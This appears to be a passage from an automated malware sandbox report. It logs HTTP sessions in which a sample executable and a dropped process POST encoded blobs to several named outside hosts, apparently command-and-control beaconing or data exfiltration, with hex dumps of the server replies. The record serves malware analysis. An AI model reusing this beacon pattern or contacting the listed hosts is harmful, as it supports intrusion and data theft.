4e 45 63 52 73 47 65 74 54 71 6a 55 64 41 70 37 49 4f 6d 30 46 78 45 47 54 50 68 4b 57 66 6f 5a 52 44 35 4e 69 6c 74 4d 77 2f 2b 4a 61 53 73 36 36 6d 73 33 77 67 4b 4a 36 5a 35 58 59 31 59 66 6b 42 42 67 30 61 34 49 59 66 44 39 78 73 32 6d 45 67 59 78 45 49 4d 51 70 43 31 6d 54 45 55 43 55 51 54 32 6c 46 4b 72 5a 33 5a 33 74 67 73 5a 43 49 4f 2f [TRUNCATED] Data Ascii: eynHYj/Yc1WOB4vzHgih2ciMSEmVIaPP4wN+BlNCY2+CJP1s4t848BvfLrahqpNdiaJoyqeyKl4cyn73FzL3w/SFy3z857v/KGy2x1GynBhEkfdP7MZWohgg3Ufg9ZWKqaMo2yhYRUwzBPLQXMGSgU6lVdjswBqSTBnnmYN3gng6iEpMN1Ub2maYP8Q1Rvj0necYllBZbZpIquhEzobtKWM8b9by0mNEcRsGetTqjUdAp7IOm0FxEGTPhKWfoZRD5NiltMw/+JaSs66ms3wgKJ6Z5XY1YfkBBg0a4IYfD9xs2mEgYxEIMQpC1mTEUCUQT2lFKrZ3Z3tgsZCIO/AGzef9Jpyfgwm60AWAIxiOMT5sCZw10H68honPiTdRdgAtgiJ0xfPswDXDTmWgPFxKWiPrRge3tvueqN+xxDdSVoW7eAkwOlHUmh2xaOgRHx0xKy4SWCwKqJeRNjZmktNQnjrpYr74URFXfAGFfDENcmOuBQtuyxnlGZa3q1sgUm5wXPxYzwucJNKoKKwhmT7zbQgEj0NZYNEUOD26s0Xr+ecqUg+Ny9U5WoxdVrPyth/3VGv54g==
Oct 25, 2024 11:18:08.408480883 CEST	605	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Set-Cookie: _mcnc=1; Path=/ Location: https://www.mqs.com.br/ Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=63072000 X-Cloudez-Verify: f1f79f15a43c89e43ec1c65cc878ebbf8e9cf4a58e98a109af262325 X-GoCache-CacheStatus: BYPASS Server: gocache Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:18:08.409503937 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	52808	104.26.7.221	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.723654985 CEST	805	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.valdal.com Cache-Control: no-cache Data Raw: 33 47 56 77 4f 50 67 6e 61 6c 55 43 4c 4f 76 37 65 38 72 33 78 65 75 70 41 64 64 41 67 74 32 62 72 42 70 69 63 6c 6c 6f 39 64 61 76 42 51 66 7a 34 47 70 70 69 73 38 50 4c 77 73 42 2f 4d 35 66 58 4b 34 72 57 66 65 74 4b 76 42 6f 4f 32 2f 7a 4d 6e 4d 44 64 71 47 48 72 71 58 64 61 4c 39 44 6e 35 63 34 4d 42 44 6e 76 42 38 42 63 52 34 2f 6f 7a 47 70 6b 6d 55 68 6a 2b 52 41 33 66 44 45 74 6f 49 55 63 50 68 5a 30 46 64 6c 46 53 45 52 58 63 6c 48 49 64 77 6b 32 5a 63 70 79 6f 75 4c 66 46 73 58 6d 4d 46 32 53 72 47 6c 39 6f 32 5a 49 77 6c 45 6d 70 31 38 4d 56 51 53 30 74 6d 46 6d 36 61 6c 74 64 54 6f 6b 52 66 31 55 42 43 51 68 63 4b 37 76 74 71 72 4d 50 33 38 48 2f 6e 53 4a 79 72 47 39 50 58 7a 44 76 78 4c 79 31 44 57 71 6e 75 64 6e 57 33 6d 48 53 33 4f 77 59 39 66 74 37 37 34 78 63 69 6d 59 61 48 57 6a 45 33 5a 62 49 36 43 51 61 61 4d 38 36 53 6a 33 6a 79 4c 70 66 74 65 33 33 69 49 6a 57 73 33 49 37 31 6a 36 72 68 4e 44 71 35 7a 57 55 56 49 58 61 62 6f 64 62 4f 49 2f 51 75 73 55 71 68 4b 65 39 31 7a 6f 30 [TRUNCATED] Data Ascii: 3GVwOPgnalUCLOv7e8r3xeupAddAgt2brBpicllo9davBQfz4Gppis8PLwsB/M5fXK4rWfetKvBoO2/zMnMDdqGHrqXdaL9Dn5c4MBDnvB8BcR4/ozGpkmUhj+RA3fDEtoIUcPhZ0FdlFSERXclHIdwk2ZcpyouLfFsXmMF2SrGl9o2ZIwlEmp18MVQS0tmFm6altdTokRf1UBCQhcK7vtqrMP38H/nSJyrG9PXzDvxLy1DWqnudnW3mHS3OwY9ft774xcimYaHWjE3ZbI6CQaaM86Sj3jyLpfte33iIjWs3I71j6rhNDq5zWUVIXabodbOI/QusUqhKe91zo0Ia+zyg0CS6XazhXc9RPnOAfqkFmoRJ/DrLkuoZNgHHAANBwtN0cjNvR426tbu0rka6hNndF9lVNHM2+Er1XzNOpcrkvjrCcCoxbx9LDAwnfUlNGKeD8da2wYY3j6Rt0yDvjXlY2EWW7af3CgBoFuP0Lj+tv1v31yVNX0c119fZ28h7zR7zAPpb2JIngbHORnRyEwjKuzNTigsGmdbyHqrC5Ms4SlwzE2cg52Ssps4=
Oct 25, 2024 11:18:07.333774090 CEST	1236	IN	HTTP/1.1 403 Forbidden Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4514 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Fri, 25 Oct 2024 09:18:22 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CVg7ENGZDsMNEYCyHqUSiSpgaMwHaLIJ0dbGebWzhWRF%2Fp3BNKUHlwfN60%2BYxYieNQhJgMgx1zV85zNhXOLoFFafT%2FwNpJnBIc7f9PnbGWPz4lfI09nJ5YLZK50FLJLE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811e0f69372cd2-DFW Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport
Oct 25, 2024 11:18:07.333826065 CEST	1236	IN	Data Raw: 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 Data Ascii: " content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endi
Oct 25, 2024 11:18:07.333859921 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: > <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-container --> <div class="cf-section cf-wrapper"> <div class="cf-columns two">
Oct 25, 2024 11:18:07.333894968 CEST	1236	IN	Data Raw: 74 65 78 74 2d 63 65 6e 74 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 Data Ascii: text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8d811e0f69372cd2</strong></span> <span class
Oct 25, 2024 11:18:07.333924055 CEST	214	IN	Data Raw: 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 64 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 65 72 72 6f 72 2d 66 6f 6f 74 65 72 20 2d 2d 3e 0a 0a 0a 20 20 20 20 3c 2f 64 69 76 3e 3c 21 Data Ascii: r("DOMContentLoaded",d)})();</script></div>... /.error-footer --> </div>... /#cf-error-details --> </div>... /#cf-wrapper --> <script> window._cf_translation = {}; </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	52809	142.250.186.147	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.730595112 CEST	821	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.depalo.com Cache-Control: no-cache Data Raw: 37 49 74 37 74 33 4b 59 64 6c 56 4d 49 73 58 67 70 52 31 55 74 33 58 47 55 2b 68 43 54 55 71 59 78 69 32 57 4a 76 57 6d 6e 6f 4e 6e 62 77 4a 6c 6a 55 74 52 4e 70 66 52 59 71 72 4d 61 51 47 77 49 48 55 51 2f 6c 33 48 59 4d 4c 75 57 2b 72 44 74 36 7a 50 43 63 64 71 41 75 71 4a 64 52 39 33 2f 79 4e 46 4c 57 44 4f 71 52 43 33 4b 78 52 2b 6b 4c 4d 6c 4e 67 63 47 49 31 61 68 68 48 76 53 75 38 78 50 50 48 64 50 4d 76 50 64 69 5a 57 59 56 63 51 6f 66 35 70 33 36 4f 65 4f 6f 4d 33 55 41 43 6f 62 6d 42 35 64 6a 62 38 54 41 37 35 77 64 33 6b 74 38 4a 37 50 66 54 7a 71 6e 61 38 45 79 37 4a 76 75 5a 32 65 35 30 2b 43 46 6d 4b 49 63 4c 72 35 34 6e 5a 45 4e 45 64 4a 7a 2b 4f 6a 37 77 6d 41 35 79 75 61 38 34 50 6e 7a 41 45 44 2f 52 6c 41 4f 6f 41 32 79 66 39 4c 5a 34 58 48 42 44 37 41 76 70 31 34 66 70 71 4c 7a 64 5a 37 47 31 52 56 67 66 49 55 6a 6e 41 57 50 69 71 47 31 57 4e 4e 6b 75 33 55 58 70 2f 41 59 75 55 62 56 66 37 54 62 4d 63 35 45 37 48 6d 45 45 4a 2f 4f 55 41 71 68 73 42 6d 4f 61 49 2f 4a 6e 30 39 6f 32 [TRUNCATED] Data Ascii: 7It7t3KYdlVMIsXgpR1Ut3XGU+hCTUqYxi2WJvWmnoNnbwJljUtRNpfRYqrMaQGwIHUQ/l3HYMLuW+rDt6zPCcdqAuqJdR93/yNFLWDOqRC3KxR+kLMlNgcGI1ahhHvSu8xPPHdPMvPdiZWYVcQof5p36OeOoM3UACobmB5djb8TA75wd3kt8J7PfTzqna8Ey7JvuZ2e50+CFmKIcLr54nZENEdJz+Oj7wmA5yua84PnzAED/RlAOoA2yf9LZ4XHBD7Avp14fpqLzdZ7G1RVgfIUjnAWPiqG1WNNku3UXp/AYuUbVf7TbMc5E7HmEEJ/OUAqhsBmOaI/Jn09o2vl7hazQUg1dCmtXjc/byTuahqvs9nX6Tf7B4isF871wI5Jzlvb+7M2qOaFjj1AAGpQhezS1v8HB6b1BnbNyJTswWXQUcNTbPkNS4IucnwVbKD2K5D1Vpsld+PfGJvqw419j3DPJoho/e9K0629I1jhVeViI3QbqEVWgOYqgL8lDoOPW4g/UgVI/A89HFV3VVSvJquK7kezhN4SQ0lqm7RMaSnVJrYcWMR3YXqb4XXidnpefldI/kBVyuKf
Oct 25, 2024 11:18:07.684025049 CEST	376	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 25 Oct 2024 09:18:07 GMT Location: https://www.depalo.com/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	52811	104.21.88.198	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.009701014 CEST	793	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 560 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.tvtools.fi Cache-Control: no-cache Data Raw: 58 71 5a 43 37 54 35 49 6b 56 57 51 75 57 76 67 43 56 4b 6d 68 53 45 67 76 31 6e 2b 42 74 78 48 55 70 54 42 6a 62 76 68 6e 77 76 49 43 56 76 54 44 45 50 53 5a 71 5a 36 6e 77 44 69 46 72 2b 4f 45 74 6c 37 47 6f 37 4b 7a 74 36 54 33 51 31 48 37 6c 4e 66 53 71 74 34 39 64 34 36 62 4c 77 4c 66 45 7a 61 70 71 41 52 6c 65 77 43 6e 31 64 4c 31 48 48 4e 42 69 6b 64 39 64 6c 32 46 4d 6a 56 59 44 66 78 46 71 35 63 76 7a 39 54 79 52 46 54 71 72 36 6c 35 2b 2f 56 61 78 36 75 68 73 30 6a 69 48 6b 59 47 75 68 38 58 55 62 2f 32 38 35 77 62 67 73 4e 64 4a 5a 6f 54 76 4f 2f 72 36 68 32 4d 58 79 31 5a 63 66 53 77 73 70 2f 36 72 35 4d 4e 7a 64 6e 54 39 2f 6e 39 49 52 39 33 66 4f 78 73 50 58 56 64 75 77 36 43 6f 4f 6d 31 48 44 58 43 35 67 44 7a 72 44 48 57 36 6a 6b 45 56 69 47 65 37 53 4a 6e 73 63 51 33 35 37 36 31 36 71 69 7a 54 73 69 32 51 42 33 73 6a 64 6f 71 51 71 62 69 50 4e 52 4b 2b 61 30 71 48 53 4e 4d 58 49 6b 57 55 6d 2f 65 79 73 67 37 52 75 57 58 61 78 53 32 47 45 2b 62 43 6f 75 68 47 44 36 47 31 37 4b 56 6e [TRUNCATED] Data Ascii: XqZC7T5IkVWQuWvgCVKmhSEgv1n+BtxHUpTBjbvhnwvICVvTDEPSZqZ6nwDiFr+OEtl7Go7Kzt6T3Q1H7lNfSqt49d46bLwLfEzapqARlewCn1dL1HHNBikd9dl2FMjVYDfxFq5cvz9TyRFTqr6l5+/Vax6uhs0jiHkYGuh8XUb/285wbgsNdJZoTvO/r6h2MXy1ZcfSwsp/6r5MNzdnT9/n9IR93fOxsPXVduw6CoOm1HDXC5gDzrDHW6jkEViGe7SJnscQ357616qizTsi2QB3sjdoqQqbiPNRK+a0qHSNMXIkWUm/eysg7RuWXaxS2GE+bCouhGD6G17KVni8OQGCIQ0xTtnQv8et+/2OITDNjfe+nF8E1Z5Dqyefb2Q4BduhacAQJOzuMEYetQQmJ7AE+8qc7DthdpwAGw0gjMEj8SR1RwfuNu8Dwx6NldTkfDPmD+gwTN7BiodPwPbLLO4tLUV3X23QpFxzFAU0Pj48iQpaf2R/xeH2+ORNKmovUaZ4N0aklLZGZPKDNuOXu3n0IIhcY8/CU2O1Li32Mq1AYSCs
Oct 25, 2024 11:18:07.569971085 CEST	794	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:18:07 GMT Location: https://mediatailor.fi/fi/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PpzIF6KKMAG2YR1UduLDzIy39jQF5dZWQm5R%2B0quDwerFiHfvDzuURlN2B3AssTZC64TSn9A%2FTnz%2BzYA5A8vOnzwdG6UI13%2BacWqTQpHAMMbZFbUb9uxhPxAAYv2Kf6B7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811e10d8542c93-DFW Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 25, 2024 11:18:07.594755888 CEST	793	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 560 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.tvtools.fi Cache-Control: no-cache Data Raw: 58 71 5a 43 37 54 35 49 6b 56 57 51 75 57 76 67 43 56 4b 6d 68 53 45 67 76 31 6e 2b 42 74 78 48 55 70 54 42 6a 62 76 68 6e 77 76 49 43 56 76 54 44 45 50 53 5a 71 5a 36 6e 77 44 69 46 72 2b 4f 45 74 6c 37 47 6f 37 4b 7a 74 36 54 33 51 31 48 37 6c 4e 66 53 71 74 34 39 64 34 36 62 4c 77 4c 66 45 7a 61 70 71 41 52 6c 65 77 43 6e 31 64 4c 31 48 48 4e 42 69 6b 64 39 64 6c 32 46 4d 6a 56 59 44 66 78 46 71 35 63 76 7a 39 54 79 52 46 54 71 72 36 6c 35 2b 2f 56 61 78 36 75 68 73 30 6a 69 48 6b 59 47 75 68 38 58 55 62 2f 32 38 35 77 62 67 73 4e 64 4a 5a 6f 54 76 4f 2f 72 36 68 32 4d 58 79 31 5a 63 66 53 77 73 70 2f 36 72 35 4d 4e 7a 64 6e 54 39 2f 6e 39 49 52 39 33 66 4f 78 73 50 58 56 64 75 77 36 43 6f 4f 6d 31 48 44 58 43 35 67 44 7a 72 44 48 57 36 6a 6b 45 56 69 47 65 37 53 4a 6e 73 63 51 33 35 37 36 31 36 71 69 7a 54 73 69 32 51 42 33 73 6a 64 6f 71 51 71 62 69 50 4e 52 4b 2b 61 30 71 48 53 4e 4d 58 49 6b 57 55 6d 2f 65 79 73 67 37 52 75 57 58 61 78 53 32 47 45 2b 62 43 6f 75 68 47 44 36 47 31 37 4b 56 6e [TRUNCATED] Data Ascii: XqZC7T5IkVWQuWvgCVKmhSEgv1n+BtxHUpTBjbvhnwvICVvTDEPSZqZ6nwDiFr+OEtl7Go7Kzt6T3Q1H7lNfSqt49d46bLwLfEzapqARlewCn1dL1HHNBikd9dl2FMjVYDfxFq5cvz9TyRFTqr6l5+/Vax6uhs0jiHkYGuh8XUb/285wbgsNdJZoTvO/r6h2MXy1ZcfSwsp/6r5MNzdnT9/n9IR93fOxsPXVduw6CoOm1HDXC5gDzrDHW6jkEViGe7SJnscQ357616qizTsi2QB3sjdoqQqbiPNRK+a0qHSNMXIkWUm/eysg7RuWXaxS2GE+bCouhGD6G17KVni8OQGCIQ0xTtnQv8et+/2OITDNjfe+nF8E1Z5Dqyefb2Q4BduhacAQJOzuMEYetQQmJ7AE+8qc7DthdpwAGw0gjMEj8SR1RwfuNu8Dwx6NldTkfDPmD+gwTN7BiodPwPbLLO4tLUV3X23QpFxzFAU0Pj48iQpaf2R/xeH2+ORNKmovUaZ4N0aklLZGZPKDNuOXu3n0IIhcY8/CU2O1Li32Mq1AYSCs
Oct 25, 2024 11:18:07.725286007 CEST	792	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:18:07 GMT Location: https://mediatailor.fi/fi/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JuCZH05j669ZB045yZMwrj%2FLpOMB2kMRJYn3ll%2Bs3gg3UX9h6hJlfZ1ssb%2FrhCiLdyC5MfveZObdkAP7hcj8dAx0YhZtqRaa5XWtPQ3TZL6eLCtePKnDoWtyV3TBeanrwg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811e11d9082c93-DFW Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	52814	3.19.116.195	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.199491978 CEST	811	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pdqhomes.com Cache-Control: no-cache Data Raw: 4c 67 56 31 63 4c 48 55 6d 51 72 35 34 73 77 6e 30 45 5a 47 31 67 6f 73 42 66 33 76 77 78 32 6c 64 53 61 76 4f 34 79 32 41 63 47 2f 57 32 67 52 74 6a 65 69 5a 42 47 72 37 30 68 6e 2f 67 4a 46 6d 43 5a 73 5a 65 32 37 38 45 4d 6e 4a 50 58 47 51 70 52 47 44 76 42 54 53 2f 41 66 6d 35 56 76 30 41 68 73 66 35 6d 46 44 63 4a 43 38 37 73 31 62 2b 78 69 39 2b 6f 33 4c 58 64 51 50 44 76 54 4e 2b 75 52 30 31 62 7a 34 5a 6d 6f 45 4f 71 6e 64 6a 50 4f 55 4f 65 6a 46 36 68 54 63 41 4f 68 35 49 66 32 46 58 4b 33 6d 42 4a 4e 74 4f 58 2b 64 49 7a 61 77 6a 59 6c 69 50 62 2b 72 2f 6b 7a 57 36 4c 35 38 52 41 59 2f 31 78 74 39 7a 68 61 54 48 37 38 74 51 6d 4f 30 6d 49 69 58 75 49 4d 52 69 4f 45 37 6e 4a 2f 75 69 34 50 6d 33 78 66 6d 52 37 74 71 6d 7a 7a 63 6b 70 35 38 2f 70 4d 79 6b 4b 48 5a 6c 6a 41 50 55 38 33 34 44 62 63 4f 4c 68 51 2b 56 59 48 33 35 69 44 5a 64 42 52 72 62 4e 66 79 61 2b 33 50 6a 4a 6a 39 6e 71 36 4c 6b 46 37 66 4e 6d 35 2b 31 72 75 43 70 53 34 55 56 47 51 56 79 41 69 32 34 57 63 46 5a 6f 54 52 72 [TRUNCATED] Data Ascii: LgV1cLHUmQr54swn0EZG1gosBf3vwx2ldSavO4y2AcG/W2gRtjeiZBGr70hn/gJFmCZsZe278EMnJPXGQpRGDvBTS/Afm5Vv0Ahsf5mFDcJC87s1b+xi9+o3LXdQPDvTN+uR01bz4ZmoEOqndjPOUOejF6hTcAOh5If2FXK3mBJNtOX+dIzawjYliPb+r/kzW6L58RAY/1xt9zhaTH78tQmO0mIiXuIMRiOE7nJ/ui4Pm3xfmR7tqmzzckp58/pMykKHZljAPU834DbcOLhQ+VYH35iDZdBRrbNfya+3PjJj9nq6LkF7fNm5+1ruCpS4UVGQVyAi24WcFZoTRrR+t5to32ASyghRgFiZstquqdzivyYKa2WnQh4QOxmUxIKEwzrcjWeXmlC+MBbxAtgFt7N/XJrMqZfgX66SvZw3L7KZMqmaVXUAxa2hCURjNGeVfe+ioDxMeJn9tCW+B9ESCjWvSJm2e8bKWfltC4gXX8tuIpTvbofF1Ilbi68SbeytwU/CD6H0F/jA/lCFI8h6wL3OajzidRLwirHBVzOhXIHNp9Q/fkugjoTYWF6hKw==
Oct 25, 2024 11:18:07.838609934 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	52815	185.15.129.58	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
